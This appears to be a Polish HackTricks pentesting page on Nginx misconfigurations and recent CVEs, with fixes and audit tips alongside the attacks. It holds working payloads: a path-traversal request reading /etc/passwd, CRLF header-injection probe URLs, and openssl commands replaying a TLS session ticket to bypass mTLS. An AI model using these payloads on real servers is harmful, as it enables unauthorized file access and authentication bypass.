Nginx
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Brak dyrektywy root
Podczas konfigurowania serwera Nginx dyrektywa root odgrywa kluczową rolę, definiując katalog bazowy, z którego serwowane są pliki. Rozważ poniższy przykład:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
W tej konfiguracji /etc/nginx jest wyznaczony jako katalog root. Ta konfiguracja pozwala na dostęp do plików w obrębie wskazanego katalogu root, takich jak /hello.txt. Należy jednak pamiętać, że zdefiniowano tylko konkretną lokalizację (/hello.txt). Nie ma konfiguracji dla lokalizacji root (location / {...}). Ten brak oznacza, że dyrektywa root działa globalnie, umożliwiając żądaniom do ścieżki root / dostęp do plików znajdujących się pod /etc/nginx.
Z tego wynika istotne ryzyko bezpieczeństwa. Proste żądanie GET, np. GET /nginx.conf, może ujawnić wrażliwe informacje przez zwrócenie pliku konfiguracyjnego Nginx znajdującego się pod /etc/nginx/nginx.conf. Ustawienie root na mniej wrażliwy katalog, np. /etc, może zmniejszyć to ryzyko, ale wciąż może pozwolić na niezamierzony dostęp do innych krytycznych plików, w tym innych plików konfiguracyjnych, logów dostępu, a nawet zaszyfrowanych poświadczeń używanych do HTTP basic authentication.
Błędna konfiguracja Alias LFI
W plikach konfiguracyjnych Nginx warto uważnie przejrzeć dyrektywy location. Luka znana jako Local File Inclusion (LFI) może zostać nieumyślnie wprowadzona przez konfigurację przypominającą następującą:
location /imgs {
alias /path/images/;
}
Ta konfiguracja jest podatna na ataki LFI z powodu tego, że serwer interpretuje żądania takie jak /imgs../flag.txt jako próbę dostępu do plików poza zamierzonym katalogiem, efektywnie rozwiązując je do /path/images/../flag.txt. Ta luka pozwala atakującym na pobranie plików z systemu plików serwera, które nie powinny być dostępne przez web.
Aby złagodzić tę podatność, konfigurację należy dostosować tak, aby:
location /imgs/ {
alias /path/images/;
}
Więcej informacji: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Testy Accunetix:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Niebezpieczne ograniczenie ścieżki
Sprawdź następującą stronę, aby dowiedzieć się, jak obejść dyrektywy takie jak:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Niebezpieczne użycie zmiennych / HTTP Request Splitting
Caution
Podatne zmienne
$urii$document_uri — można to naprawić, zastępując je$request_uri.Wyrażenie regularne może również być podatne, na przykład:
location ~ /docs/([^/])? { … $1 … }- Podatne
location ~ /docs/([^/\s])? { … $1 … }- Niepodatne (sprawdzanie spacji)
location ~ /docs/(.*)? { … $1 … }- Niepodatne
Poniżej przedstawiono podatność w konfiguracji Nginx:
location / {
return 302 https://example.com$uri;
}
Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich formy URL-encoded są reprezentowane jako %0d%0a. Umieszczenie tych znaków w żądaniu (np. http://localhost/%0d%0aDetectify:%20clrf) wysłanym do źle skonfigurowanego serwera powoduje, że serwer dodaje nowy nagłówek o nazwie Detectify. Dzieje się tak, ponieważ zmienna $uri dekoduje URL-encoded znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
Dowiedz się więcej o ryzykach CRLF injection i response splitting na https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Ta technika jest również omówiona w tym wystąpieniu wraz z przykładami podatności i mechanizmami wykrywania. Na przykład, aby wykryć tę miskonfigurację z perspektywy blackbox możesz wysłać następujące żądania:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
Jeśli serwer jest podatny, pierwsze zwróci odpowiedź, ponieważ “X” to dowolna metoda HTTP, a drugie zwróci błąd, ponieważ “H” nie jest poprawną metodą. Serwer otrzyma coś w stylu: GET / H HTTP/1.1 i to spowoduje błąd.
Inne przykłady wykrywania to:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Kilka podatnych konfiguracji pokazanych w tym wystąpieniu to:
- Zwróć uwagę, jak
$urijest ustawione bez zmian w końcowym URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Zwróć uwagę, że ponownie
$uriznajduje się w URL (tym razem w parametrze)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Teraz w AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
Dowolna zmienna
Odkryto, że dane dostarczone przez użytkownika mogą być traktowane jako zmienna Nginx w pewnych okolicznościach. Przyczyna tego zachowania jest w pewnym stopniu niejasna, jednak nie jest to rzadkie ani proste do zweryfikowania. Ta anomalia została podkreślona w raporcie bezpieczeństwa na HackerOne, który można obejrzeć here. Dalsze badania komunikatu o błędzie doprowadziły do zidentyfikowania jej występowania w SSI filter module of Nginx’s codebase, wskazując Server Side Includes (SSI) jako źródło problemu.
Aby wykryć tę błędną konfigurację, można wykonać następujące polecenie, które polega na ustawieniu referer header w celu sprawdzenia wypisywania zmiennej:
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
Skany w poszukiwaniu tej miskonfiguracji w systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych instancji sugeruje, że wysiłki mające na celu załatanie tego problemu były w pewnym stopniu skuteczne.
Użycie try_files z zmiennymi $URI$ARGS
Poniższa miskonfiguracja Nginx może prowadzić do podatności LFI:
location / {
try_files $uri$args $uri$args/ /index.html;
}
W naszej konfiguracji mamy dyrektywę try_files, która służy do sprawdzania istnienia plików w określonej kolejności. Nginx obsłuży pierwszy plik, który znajdzie. Podstawowa składnia dyrektywy try_files wygląda następująco:
try_files file1 file2 ... fileN fallback;
Nginx sprawdza istnienie każdego pliku w określonej kolejności. Jeśli plik istnieje, zostanie on natychmiast obsłużony. Jeśli żaden z określonych plików nie istnieje, żądanie zostanie przekazane do opcji zapasowej, która może być innym URI lub konkretną stroną błędu.
Jednakże, przy użyciu zmiennych $uri$args w tej dyrektywie, Nginx spróbuje znaleźć plik odpowiadający URI żądania połączonemu z dowolnymi argumentami query string. W związku z tym możemy wykorzystać tę konfigurację:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Z następującym payload:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
Używając naszego payloadu wydostaniemy się z katalogu root (zdefiniowanego w konfiguracji Nginx) i załadujemy plik /etc/passwd. W debug logach możemy zaobserwować, jak Nginx próbuje pliki:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC przeciwko Nginx wykorzystujący konfigurację wymienioną powyżej:

Odczyt surowej odpowiedzi backendu
Nginx oferuje funkcję za pomocą proxy_pass, która pozwala na przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Odbywa się to przez to, że Nginx serwuje niestandardowe strony błędów w odpowiedzi na błędy backendu. Jednak pojawiają się problemy, gdy Nginx napotka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w otrzymanej formie, a surowa odpowiedź backendu jest następnie wysyłana bezpośrednio do klienta bez udziału Nginx.
Rozważmy przykładowy scenariusz dotyczący aplikacji uWSGI:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Do tego celu używa się konkretnych dyrektyw w konfiguracji Nginx:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Ta dyrektywa pozwala Nginxowi serwować niestandardową odpowiedź dla odpowiedzi backendu ze statusem większym niż 300. Zapewnia, że dla naszego przykładowego uWSGI application, odpowiedź
500 Errorjest przechwytywana i obsługiwana przez Nginx. - proxy_hide_header: Jak sama nazwa wskazuje, ta dyrektywa ukrywa określone nagłówki HTTP przed klientem, zwiększając prywatność i bezpieczeństwo.
Gdy zostanie wykonane poprawne żądanie GET, Nginx przetwarza je normalnie, zwracając standardową odpowiedź błędu bez ujawniania żadnych tajnych nagłówków. Jednak nieprawidłowe żądanie HTTP omija ten mechanizm, co skutkuje ujawnieniem surowych odpowiedzi backendu, w tym tajnych nagłówków i komunikatów o błędach.
merge_slashes ustawione na off
Domyślnie merge_slashes directive Nginx jest ustawiona na on, co kompresuje wiele ukośników w URL do jednego ukośnika. Ta funkcja, choć upraszcza przetwarzanie URL, może niezamierzenie ukrywać podatności w aplikacjach za Nginx, szczególnie tych podatnych na local file inclusion (LFI) attacks. Eksperci bezpieczeństwa Danny Robinson and Rotem Bar zwrócili uwagę na potencjalne ryzyka związane z tym domyślnym zachowaniem, szczególnie gdy Nginx działa jako reverse-proxy.
Aby złagodzić takie ryzyka, zaleca się wyłączenie merge_slashes directive dla aplikacji podatnych na te luki. Zapewnia to, że Nginx przekazuje żądania do aplikacji bez zmiany struktury URL, nie maskując tym samym żadnych ukrytych problemów bezpieczeństwa.
For more information check Danny Robinson and Rotem Bar.
Złośliwe nagłówki odpowiedzi
As shown in this writeup, istnieją pewne nagłówki które, jeśli występują w odpowiedzi serwera WWW, zmieniają zachowanie proxy Nginx. Możesz je sprawdzić in the docs:
X-Accel-Redirect: Wskazuje Nginxowi, aby wewnętrznie przekierował żądanie do określonej lokalizacji.X-Accel-Buffering: Kontroluje, czy Nginx powinien buforować odpowiedź, czy nie.X-Accel-Charset: Ustawia zestaw znaków dla odpowiedzi przy użyciu X-Accel-Redirect.X-Accel-Expires: Ustawia czas wygaśnięcia odpowiedzi przy użyciu X-Accel-Redirect.X-Accel-Limit-Rate: Ogranicza szybkość transferu odpowiedzi przy użyciu X-Accel-Redirect.
Na przykład nagłówek X-Accel-Redirect spowoduje wewnętrzne przekierowanie w nginx. Zatem mając konfigurację nginx zawierającą coś takiego jak root / i odpowiedź z serwera WWW z X-Accel-Redirect: .env spowoduje, że nginx wyśle zawartość /.env (Path Traversal).
Domyślna wartość w dyrektywie map
W Nginx configuration, dyrektywa map często odgrywa rolę w authorization control. Częstym błędem jest nieokreślenie wartości default, co może prowadzić do nieautoryzowanego dostępu. Na przykład:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Bez default, złośliwy użytkownik może obejść zabezpieczenia, uzyskując dostęp do niezdefiniowanego URI w obrębie /map-poc. The Nginx manual advises setting a default value to avoid such issues.
DNS Spoofing Vulnerability
DNS spoofing przeciwko Nginx jest wykonalny w określonych warunkach. Jeśli atakujący zna DNS server używany przez Nginx i potrafi przechwycić jego DNS queries, może sfałszować DNS records. Metoda ta jednak jest nieskuteczna, jeśli Nginx jest skonfigurowany do używania localhost (127.0.0.1) do rozwiązywania DNS. Nginx pozwala określić DNS server w następujący sposób:
resolver 8.8.8.8;
proxy_pass i internal dyrektywy
Dyrektywa proxy_pass służy do przekierowywania żądań do innych serwerów, zarówno wewnętrznych, jak i zewnętrznych. Dyrektywa internal gwarantuje, że pewne lokalizacje są dostępne tylko wewnątrz Nginx. Choć same w sobie nie są podatnościami, ich konfiguracja wymaga dokładnej analizy, aby zapobiec błędom bezpieczeństwa.
proxy_set_header Upgrade & Connection
Jeśli serwer nginx jest skonfigurowany do przekazywania nagłówków Upgrade i Connection, możliwe jest przeprowadzenie h2c Smuggling attack w celu uzyskania dostępu do chronionych/wewnętrznych punktów końcowych.
Caution
Ta podatność pozwoliłaby atakującemu na nawiązanie bezpośredniego połączenia z punktem końcowym
proxy_pass(http://backend:9999w tym przypadku), którego zawartość nie będzie sprawdzana przez nginx.
Przykład podatnej konfiguracji umożliwiającej kradzież /flag z here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Zauważ, że nawet jeśli
proxy_passwskazywał konkretną ścieżkę taką jakhttp://backend:9999/socket.io, połączenie zostanie nawiązane zhttp://backend:9999, więc możesz skontaktować się z dowolną inną ścieżką wewnątrz tego wewnętrznego endpointu. Dlatego nie ma znaczenia, czy w URL proxy_pass podano ścieżkę.
HTTP/3 QUIC module — zdalny DoS & leak (2024)
W 2024 Nginx ujawnił CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 i CVE-2024-35200, pokazując, że pojedyncza wroga sesja QUIC może spowodować awarię procesów worker lub leak pamięci zawsze gdy eksperymentalny ngx_http_v3_module jest skompilowany i wystawiony jest socket listen ... quic. Dotknięte buildy to 1.25.0–1.25.5 i 1.26.0, natomiast 1.27.0/1.26.1 zawierają poprawki; ujawnienie pamięci (CVE-2024-34161) dodatkowo wymaga MTU większych niż 4096 bajtów, aby ujawnić wrażliwe dane (szczegóły w advisory nginx z 2024 r. poniżej).
Recon & exploitation hints
- HTTP/3 jest opcjonalny, więc skanuj odpowiedzi
Alt-Svc: h3=":443"lub przeprowadzaj brute-force UDP/443 QUIC handshakes; po potwierdzeniu fuzzuj handshake i STREAM frames niestandardowymi payloadamiquiche-client/nghttp3, aby wywołać awarie workerów i wymusić leak logów. - Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
Omijanie wznawiania sesji TLS w uwierzytelnianiu certyfikatem klienta (CVE-2025-23419)
W komunikacie z lutego 2025 ujawniono, że nginx 1.11.4–1.27.3 skompilowany z OpenSSL pozwala na ponowne użycie sesji TLS 1.3 z jednego wirtualnego hosta opartego na nazwie wewnątrz innego, więc klient, który wynegocjował host bez wymogu certyfikatu, może odtworzyć ticket/PSK, żeby wejść do vhosta chronionego ssl_verify_client on; i całkowicie pominąć mTLS. Błąd występuje zawsze, gdy wiele wirtualnych hostów dzieli ten sam cache sesji TLS 1.3 i tickety (zob. komunikat nginx z 2025 wskazany poniżej).
Plan atakującego
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
Jeśli cel jest podatny, drugi handshake kończy się bez przedstawienia certyfikatu klienta, ujawniając chronione lokalizacje.
Co audytować
- Mieszane bloki
server_name, które współdzieląssl_session_cache shared:SSLorazssl_session_tickets on;. - Bloki Admin/API, które oczekują mTLS, ale dziedziczą wspólne ustawienia session cache/ticket z publicznych hostów.
- Automatyzacja, która włącza TLS 1.3 session resumption globalnie (np. role Ansible) bez uwzględnienia izolacji vhostów.
HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
Atak HTTP/2 Rapid Reset (CVE-2023-44487) nadal wpływa na nginx, gdy operatorzy podnoszą keepalive_requests lub http2_max_concurrent_streams ponad wartości domyślne: atakujący otwiera jedno połączenie HTTP/2, zalewa je tysiącami streamów, a następnie natychmiast wysyła ramki RST_STREAM, dzięki czemu pułapu współbieżności nigdy nie osiąga się, podczas gdy CPU nadal pracuje nad logiką zamykania. Domyślne ustawienia Nginx (128 concurrent streams, 1000 keepalive requests) utrzymują zakres szkód mały; znaczne podniesienie tych limitów ułatwia wychudzenie workerów nawet od jednego klienta (zob. write-up F5 wymieniony poniżej).
Wskazówki wykrywania
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Hosty, które ujawniają niezwykle wysokie wartości tych dyrektyw, są priorytetowymi celami: jeden klient HTTP/2 może w pętli tworzyć strumienie i natychmiast wysyłać ramki RST_STREAM, aby utrzymać obciążenie CPU na wysokim poziomie bez przekraczania limitu współbieżności.
Spróbuj samodzielnie
Detectify utworzył repozytorium na GitHubie, w którym możesz użyć Dockera, aby uruchomić własny podatny serwer testowy Nginx z niektórymi z nieprawidłowych konfiguracji omówionych w tym artykule i spróbować je samodzielnie znaleźć!
https://github.com/detectify/vulnerable-nginx
Narzędzia do analizy statycznej
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (zaktualizowany fork GIXY) to narzędzie do analizy konfiguracji Nginx, mające na celu wykrywanie podatności, niebezpiecznych dyrektyw i ryzykownych nieprawidłowych konfiguracji. Znajduje także konfiguracje wpływające na wydajność i wykrywa przeoczone możliwości utwardzenia, umożliwiając zautomatyzowane wykrywanie wad.
- gixy-ng (aktywnie utrzymywany fork GIXY) to narzędzie do analizy konfiguracji Nginx, mające na celu wykrywanie podatności, niebezpiecznych dyrektyw i ryzykownych nieprawidłowych konfiguracji. Znajduje także konfiguracje wpływające na wydajność i wykrywa przeoczone możliwości utwardzenia, umożliwiając zautomatyzowane wykrywanie wad.
Nginxpwner
Nginxpwner to proste narzędzie do wyszukiwania typowych nieprawidłowych konfiguracji Nginx i podatności.
Źródła
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


